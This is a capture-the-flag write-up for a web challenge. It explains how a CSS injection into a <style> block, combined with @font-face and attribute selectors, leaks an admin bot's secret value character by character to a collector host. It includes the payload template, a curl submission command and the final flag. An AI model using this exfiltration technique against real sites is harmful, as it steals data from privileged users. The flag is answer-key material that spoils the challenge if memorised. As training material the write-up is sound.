Webmedium
La Cabane à Poutine
by Pavel Knespl (capyplivl)
A poutine shop lets customers pick a receipt accent colour, which is reflected unescaped into a <style> block that a privileged admin bot renders with a secret recipe present in a readonly input. The CSP blocks JS and external images but allows font-src *, so CSS attribute selectors plus @font-face leak the secret one character at a time.
Solve
- Map the app:
/receipt?accent=is the customer view (secret is a placeholder),POST /reportmakes the admin bot render the receipt with the realrecette. The accent is injected raw into the receipt<style>, sored;} ... /*gives arbitrary CSS. - Read the CSP. JS and external images are blocked, but fonts are unrestricted. Confirm the channel by injecting one
@font-facepointing at a collector URL and applying it; the admin bot fetches it. - Build attribute-selector exfiltration. For each position, one rule per candidate character:
Only the selector matching the real prefix applies, so exactly one font is fetched per render, leaking the next character.@font-face{font-family:fN;src:url(https://COLLECTOR/L<pos>_<hex(prefix+c)>);} input[name="recette"][value^="<prefix+c>"]{font-family:fN !important;} - Each round submits the crafted accent to the admin bot:
Automate the loop: POST the accent, poll the collector for the new request, decode the hex path to the next char, grow the known prefix, repeat until no font is fetched. The recipe assembles into the flag.curl -s -X POST https://HOST/report \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "accent=red;}$CSS_FONT_RULES/*"
Flag: SVIUSCG{l4_p0ut1n3_au_fr0m4g3_squ1k_squ1k}